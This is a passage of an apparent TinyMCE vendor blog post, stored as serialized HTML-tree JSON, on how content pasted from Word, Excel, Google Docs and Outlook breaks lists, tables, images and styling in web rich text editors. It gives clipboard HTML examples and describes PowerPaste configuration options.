DOMPurify sanitization is on by default, and HYPE Innovation reports 50% fewer text-editing support tickets after switching."}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"figure","properties":{"className":["image"]},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/2O7nc6pKYlXgMYz1NoE9EP/d253b03979ffff00086bcb4f1490b7a3/rich-text-paste-problems-in-production-1.webp","alt":"","width":1600,"height":838},"children":[]},{"type":"text","value":"\n"},{"type":"element","tagName":"figcaption","properties":{"spellCheck":"false","dataQbTmpId":"lt-864757","dataGramm":"false"},"children":[]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"Why paste is the input you don't control"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Production paste is what happens when real users copy formatted content from the tools they work in such as Word, Excel, Google Docs, and Outlook, and paste it into your product. This guide is for engineering managers, senior front-end engineers, and product managers whose product embeds a rich text editor for knowledge base articles, support replies, emails, learning content, or other end user-facing HTML. It covers paste in current desktop versions of Chrome, Edge, Firefox, and Safari."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"When an end user types, every character goes through your editor's own commands, so the output matches your formatting rules. Paste is different. Your editor receives HTML written by another application, for another renderer, with its own idea of what a list or a table is."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"One copy action puts several formats on the clipboard at once: typically "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"text/plain"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"text/html"}]},{"type":"text","value":", and often image data or RTF. Your code picks a format in the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste"}]},{"type":"text","value":" event, usually "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"text/html"}]},{"type":"text","value":" because it carries the structure users expect to keep, and then has to translate it into your markup. If your editor is built directly on "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/using-html-contenteditable/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"contenteditable"}]},{"type":"text","value":" and doesn't handle paste, the browser inserts that foreign markup more or less as it arrived."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Do-it-yourself paste handling gets complicated fast. "},{"type":"element","tagName":"a","properties":{"href":"https://stackoverflow.com/a/6804718","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"The top-voted answer on that Stack Overflow question"}]},{"type":"text","value":" includes a fallback that lets the browser paste into the element, then checks the DOM every 20 milliseconds to find out what arrived."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Handling copy and paste properly takes a pipeline, not a cleanup function. In a production editor, it runs in six steps:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"ol","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Detect the source."}]},{"type":"text","value":" Word, Excel, Google Docs, Outlook, and web pages each need different rules."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Clean and convert source markup:"}]},{"type":"text","value":" drop what has no meaning on the web and rebuild what does, such as lists, headings, and tables, as standard HTML."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Map the result to your content model,"}]},{"type":"text","value":" so only the elements, classes, and styles your product allows survive. If that concept is new to your team, start with "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/html-content-models/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"HTML content models"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Sanitize"}]},{"type":"text","value":" against an allowlist so nothing executable gets through."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Move images into your storage"}]},{"type":"text","value":" instead of keeping local file paths or inline Base64 data."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Check again on the server"}]},{"type":"text","value":" before content is stored, emailed, or rendered."}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"In TinyMCE, PowerPaste does much of this before content reaches the editor. It detects the source, "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"removes invalid and proprietary styles, tags, and attributes"}]},{"type":"text","value":", and rebuilds structures such as Word lists from scratch: a conversion from Word's document model to HTML, not a cleanup pass. TinyMCE's "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/content-filtering/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"content filtering"}]},{"type":"text","value":" ("},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"valid_elements"}]},{"type":"text","value":", "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"valid_styles"}]},{"type":"text","value":") then applies your product's rules, DOMPurify sanitizes the result, and your image upload handler takes care of images. The "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#paste_preprocess","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_preprocess"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_postprocess"}]}]},{"type":"text","value":" hooks let you add rules specific to your product. The last step stays on your server, as Tiny's own security guidance recommends."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/6nShARWhUmHru1T6Yyl6sc/81687ce29d71cc95294136cfdf465f76/rich-text-paste-problems-in-production-2.webp","alt":"","width":1600,"height":1072},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"To show what each failure looks like in code, we rebuilt typical Word, Excel, Google Docs, and Outlook clipboard content and replayed them through "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/tinymce/features/powerpaste/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"PowerPaste"}]},{"type":"text","value":" on the public demo in the TinyMCE documentation (TinyMCE 8.9 and 8.10 October 2026). These are simplified reconstructions, and real clipboard output varies by app version, so treat the results as illustrations. You can repeat the experiment with your own documents in the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"PowerPaste demo"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"1. Lists and headings pasted from Word arrive as styled paragraphs"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word doesn’t put "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ul>"}]},{"type":"text","value":" or "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ol>"}]},{"type":"text","value":" on the clipboard. It sends paragraphs styled to look like a list, with the bullet typed out as a character. An editor that keeps that markup ends up with a fake list: users can’t indent or renumber it, and screen readers don’t announce it as a list."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Those paragraphs are only half of the clipboard payload. Word sends a complete HTML document, not a fragment: a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<head>"}]},{"type":"text","value":" whose "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<style>"}]},{"type":"text","value":" block holds the list definitions (the bullet or number format and indent for each level), and a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<body>"}]},{"type":"text","value":" whose paragraphs only point at those definitions through "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"mso-list"}]},{"type":"text","value":". "},{"type":"element","tagName":"a","properties":{"href":"https://learn.microsoft.com/en-us/windows/win32/dataxchg/html-clipboard-format","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Windows’ HTML clipboard format"}]},{"type":"text","value":" carries that context around the copied fragment. Neither half makes sense on its own."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Here’s a short two-level bulleted list as Word puts it on the clipboard, cut down to the parts that matter:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"<head><style>\n@list l0:level1 {mso-level-number-format:bullet; mso-level-text:\\F0B7; text-indent:-.25in;}\n@list l0:level2 {mso-level-number-format:bullet; mso-level-text:o; text-indent:-.25in;}\n</style></head>\n<body>\n<p class=MsoListParagraphCxSpFirst style='text-indent:-.25in;mso-list:l0 level1 lfo1'>\n  <![if !supportLists]><span style='font-family:Symbol'>·<span style='font:7.0pt \"Times New Roman\"'>&nbsp;&nbsp;&nbsp;</span></span><![endif]>\n  Approve the release notes<o:p></o:p></p>\n<p class=MsoListParagraphCxSpMiddle style='margin-left:1.0in;text-indent:-.25in;mso-list:l0 level2 lfo1'>\n  <![if !supportLists]><span style='font-family:\"Courier New\"'>o&nbsp;&nbsp;</span><![endif]>\n  Check the changelog links<o:p></o:p></p>\n<p class=MsoListParagraphCxSpLast style='text-indent:-.25in;mso-list:l0 level1 lfo1'>\n  <![if !supportLists]><span style='font-family:Symbol'>·&nbsp;&nbsp;&nbsp;</span><![endif]>\n  Publish<o:p></o:p></p>\n</body>"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The issues are familiar to anyone who has supported an editor: stray “·” or “o” characters at the start of lines, nested items flattened to a single level, numbered lists restarting at 1 after a sub-list, and one list split into two. "},{"type":"element","tagName":"a","properties":{"href":"https://mailman.oxygenxml.com/hyperkitty/list/oxygen-user@oxygenxml.com/message/PISIZGWR6PR46LBJN4UDSMAE6G5WPUJT","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Forum threads"}]},{"type":"text","value":" have described numbered Word paragraphs arriving with literal numbers rather than as list elements since at least 2011."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"A production paste handler has to read both halves together, match each paragraph’s "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"mso-list"}]},{"type":"text","value":" level to its list definition, rebuild real nested lists, and drop the bullet-glyph spans. That’s a conversion from Word’s document model to HTML, not a cleanup pass. In our test, the Word payload came back like this:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"<ul>\n  <li>Approve the release notes\n    <ul style=\"list-style-type: circle;\">\n      <li>Check the changelog links</li>\n    </ul>\n  </li>\n  <li>Publish</li>\n</ul>"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"And a two-level bulleted list is the easy case. Multi-level numbering with custom indents, a list that continues after an interrupting paragraph, lists inside table cells, numbering that restarts or starts above 1, a line break inside a list item: each is another set of rules a paste handler has to get right."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"PowerPaste produced that output, and in our tests it handled the harder cases too: the list type followed Word’s list definitions rather than the typed bullet, a list starting at 3 came back as "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ol start=\"3\">"}]},{"type":"text","value":", numbering continued after an interrupting paragraph while a separate list restarted at 1, and lists inside table cells came through intact."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"figure","properties":{"className":["image"]},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/7mG8j51DGumFzdqEzof1Oc/f06153cca10be9f46f50686485d34d04/rich-text-paste-problems-in-production-3.webp","alt":"","width":1600,"height":761},"children":[]},{"type":"text","value":"\n"},{"type":"element","tagName":"figcaption","properties":{},"children":[]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Headings break in two ways. Text an author formatted by hand, bold and 14 point, arrives as a paragraph that only looks like a heading, so it never reaches your table of contents or a screen reader’s list of headings. Text that uses Word’s built-in heading styles does arrive as heading elements, which means a pasted Heading 1 can add a second <h1> to a page whose template already has one, or skip a level in your outline."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"TinyMCE’s "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/a11ychecker/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"Accessibility Checker"}]},{"type":"text","value":" covers what paste can’t decide for you. It flags paragraphs used as headings, skipped heading levels, and paragraphs that start with bullet characters or numbers instead of using list markup. To stop a pasted Heading 1 from competing with your page title, limit the allowed heading levels with content filtering or demote "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<h1>"}]},{"type":"text","value":" to "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<h2>"}]},{"type":"text","value":" in a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_postprocess"}]},{"type":"text","value":" callback."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"2. Office markup bloats your HTML and breaks it downstream"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word's clipboard HTML carries far more than content: "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"Mso*"}]},{"type":"text","value":" classes, "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"mso-*"}]},{"type":"text","value":" style properties, "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<o:p>"}]},{"type":"text","value":" tags, conditional comments, and a font declaration on almost every span. Stored as-is, that markup overrides your product's CSS today and breaks whatever consumes the HTML tomorrow."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"A single sentence with one bold phrase looks like this:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"<p class=MsoNormal><span style='font-size:11.0pt;font-family:\"Calibri\",sans-serif;\nmso-fareast-font-family:Calibri;mso-bidi-font-family:Arial'>Our refund window is\n<b style='mso-bidi-font-weight:normal'>30 days</b>.<o:p></o:p></span></p>"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The cost shows up later and somewhere else. Inline fonts fight your site and email templates, proprietary tags trip up strict renderers, and nested spans pile up with every edit. "},{"type":"element","tagName":"a","properties":{"href":"https://idealab.foundant.com/forums/965822-smartsimple-idea-lab/suggestions/51102478-rich-text-fields-built-in-cleanse-formatting-bu","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Users of one grants platform"}]},{"type":"text","value":" reported that pasted Word content, full of deeply nested spans and Office-specific styles, was breaking PDF conversions. That's why we treat "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/html-compliance/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"HTML compliance"}]},{"type":"text","value":" as most important for content that leaves your editor: emails, PDFs, knowledge base articles, and pages rendered by other systems."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The same markup overrides your design system. Hard-coded fonts and colors ignore your type scale and theme, so \"why does this paragraph look different?\" becomes a recurring ticket, and a dark-blue text color that reads fine on white can become illegible in dark mode or fail contrast requirements. In our test with an Outlook-style email, \"Keep formatting\" kept "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"color: #1F3864"}]},{"type":"text","value":" on every line, while \"Remove formatting\" returned plain paragraphs with only the bold claim number intact."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word content can also carry review history. Comments and tracked changes travel with copied text, and "},{"type":"element","tagName":"a","properties":{"href":"https://erinwrightwriting.com/copy-and-paste-text-with-comments-and-track-changes-in-word/","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Word attaches the reviewer's user name or initials to them"}]},{"type":"text","value":". In a web editor, that can put an internal note or a struck-through draft figure into published content. In our test, PowerPaste removed a Word comment and its anchor. Treat revision markup as a policy decision: if your product should never store it, ask authors to accept or reject changes before copying, or drop "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<del>"}]},{"type":"text","value":" elements and unwrap "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ins>"}]},{"type":"text","value":" in a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_postprocess"}]},{"type":"text","value":" callback."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"PowerPaste is built for this exactly. It automatically "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"cleans up content pasted from Microsoft Word, Microsoft Excel, Google Docs, and HTML sources"}]},{"type":"text","value":", so your app stores structured HTML instead of Office markup. On the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"PowerPaste demo"}]},{"type":"text","value":", the same Word document produces 95 lines of HTML without PowerPaste and 59 lines with it, and you can open the source view to compare them yourself. In our test, a 2,433-character Word payload (a heading plus a three-item list) came out of \"Remove formatting\" as about 150 characters of plain, structured HTML."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The product decision is how much of the user's formatting to keep. Add "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste"}]},{"type":"text","value":" to your TinyMCE plugins and set "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_word_import"}]},{"type":"text","value":" to "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"clean"}]},{"type":"text","value":" to keep headings, lists, and tables while dropping inline styles, so content picks up your stylesheet. Set it to "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"merge"}]},{"type":"text","value":" to keep the original formatting minus invalid and proprietary markup, or to "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"prompt"}]},{"type":"text","value":" to let each user choose. If you keep some formatting, "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/content-filtering/#valid_styles","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"valid_styles"}]}]},{"type":"text","value":" limits which CSS properties survive, for example text alignment but not font families or colors, and the Accessibility Checker flags text that fails contrast ratios before it's published."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/CcOzWyxUsvgXMqLOUcBT2/894a7d7301650ef32f6ee337e3ab9929/-wed-21-rich-text-editor-paste-problems-04-powerpaste-word-list-remove-formatting.gif","alt":"","width":1200,"height":1257},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"3. Tables lose their borders, widths, and merged cells"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Excel keeps cell styling in a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<style>"}]},{"type":"text","value":" block and points to it with class names. Editors rarely keep a pasted "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<style>"}]},{"type":"text","value":" block, because its rules are global and can restyle your whole page, so the borders, alignment, and number formats disappear with it. Cleanup code that rebuilds tables cell by cell often breaks merged cells too. It's the same pattern as Word lists: the meaning lives in a style block, and the cells only point at it."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"A table with a merged header and a merged row label looks like this on the clipboard (simplified):"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"<style>\n.xl65 {mso-number-format:\"\\0022$\\0022\\#\\,\\#\\#0\\.00\"; font-weight:700;}\n.xl66 {text-align:center; border:.5pt solid windowtext;}\n</style>\n<col width=64 span=4 style='width:48pt'>\n<tr height=20 style='height:15.0pt'>\n  <td colspan=2 class=xl66 width=128>Q3 revenue</td>\n  <td rowspan=2 class=xl66 width=64>Region</td>\n  <td class=xl65 width=64>$1,200.00</td>\n</tr>"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Lose the style block and you get a borderless grid with no alignment. Lose "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"colspan"}]},{"type":"text","value":" or "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"rowspan"}]},{"type":"text","value":" and every cell after the merge shifts, so values land under the wrong headers. Pasted spreadsheet tables also tend to arrive with every cell as a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<td>"}]},{"type":"text","value":", so screen readers get no header row to announce."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Production handling resolves class-based styles into inline styles (or drops them on purpose), keeps "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"colspan"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"rowspan"}]},{"type":"text","value":" intact, and normalizes widths to something your layout can live with. In our test, PowerPaste read that style block: \"Keep formatting\" preserved "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"colspan=\"2\""}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"rowspan=\"2\""}]},{"type":"text","value":" and turned the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":".xl66"}]},{"type":"text","value":" rule into inline borders and centering. \"Remove formatting\" kept the merged cells and widths and dropped the styling. For widths, TinyMCE's "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/table-options/#table_sizing_mode","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"table_sizing_mode"}]}]},{"type":"text","value":" option enforces percentage-based ("},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"relative"}]},{"type":"text","value":") or width-free ("},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"responsive"}]},{"type":"text","value":") sizing for new and modified tables, and the Accessibility Checker flags tables without header cells. For a walkthrough of tables, formulas, and charts, see how to "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/copy-and-paste-from-word-excel/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"paste content from Word or Excel"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"4. Images point to files your server can't reach"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word on Windows doesn't always put image data in its clipboard HTML. It can reference temporary files on the user's disk instead, and "},{"type":"element","tagName":"a","properties":{"href":"https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/dn659400%28v=vs.85%29","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"a web page can't read those"}]},{"type":"text","value":". Pictures arrive broken or missing unless the editor takes the image data from the clipboard and sends it through your upload process."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"<img width=320 height=180 alt=\"Q3 revenue chart\"\n  src=\"file:///C:/Users/ana/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png\">"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"When image data does come through, it usually arrives as Base64 data URIs that bloat the stored HTML and your database. Some Word images arrive as EMF, which "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_emf_processor","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"has to be converted to PNG"}]},{"type":"text","value":" before it's usable on the web. In "},{"type":"element","tagName":"a","properties":{"href":"https://support.squidex.io/t/minor-issue-copying-from-ms-word-spawns-png-file/1712","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"one reported case"}]},{"type":"text","value":", pasting text from Word in Chrome also inserted a PNG snapshot of the whole selection below the text."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Large pastes add a performance problem on top. A long document with screenshots can produce a multi-megabyte payload that has to be parsed and sanitized on the browser's "},{"type":"element","tagName":"a","properties":{"href":"https://developer.mozilla.org/en-US/docs/Glossary/Main_thread","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"main thread"}]},{"type":"text","value":" before the editor responds again, and PowerPaste's documentation notes that "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/#usage","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"images larger than about 8.5MB may fail to import"}]},{"type":"text","value":". Check alt text as well: pasted images can arrive with no alt text, or with a file name standing in for a description."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"With PowerPaste, images embedded in Word and Excel content arrive as Base64 data ("},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_allow_local_images","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_allow_local_images"}]}]},{"type":"text","value":" is on by default), and TinyMCE can "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/upload-images/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"upload them automatically"}]},{"type":"text","value":" through your image upload handler. The stored HTML then points to your storage instead of a data URI. For image types browsers can't read, "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_keep_unsupported_src"}]},{"type":"text","value":" keeps the original path in a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"data-image-src"}]},{"type":"text","value":" attribute so your own post-processing can deal with it, and the Accessibility Checker flags missing alt text and file names used as alt text. Whatever handler you use, set allowed file types and size limits so a 30MB screenshot doesn't end up in a database row."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/1MJeWBcN9hdF1JqkmP4EPK/17a84fc5300e0619b2ed205448940dd7/-thu-08-rich-text-editor-paste-problems-02-source-code-uploaded-image.webp","alt":"","width":1856,"height":480},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"5. Every source speaks its own HTML dialect"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Rules written for Word miss everything else. Google Docs, Google Sheets, web pages, and AI chat tools each put a different shape of HTML on the clipboard. The best-known example is "},{"type":"element","tagName":"a","properties":{"href":"https://community.obsidian.md/plugins/google-docs-paste","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Google Docs wrapping the entire selection in a bold tag"}]},{"type":"text","value":":"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"<meta charset=\"utf-8\">\n<b style=\"font-weight:normal;\" id=\"docs-internal-guid-4f1c2a9e-7fff-3b5d-91a2-6c0e8d2f4b17\">\n  <p dir=\"ltr\" style=\"line-height:1.38;margin-top:0pt;margin-bottom:0pt;\">\n    <span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:700;white-space:pre-wrap;\">Refund policy:</span>\n    <span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:400;white-space:pre-wrap;\"> requests are reviewed within 5 business days.</span>\n  </p>\n</b>"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"An editor that keeps the outer "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<b>"}]},{"type":"text","value":" makes everything bold. An editor that strips inline styles loses the real bold, because Google Docs marks it with "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"font-weight:700"}]},{"type":"text","value":" on a span rather than a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<strong>"}]},{"type":"text","value":" element. Web pages bring their own class names and site styles. AI chat tools add another variable, because users may paste either rendered HTML or raw Markdown, and literal asterisks and pound signs make a poor knowledge base article. If Markdown is common in your product, plan how to 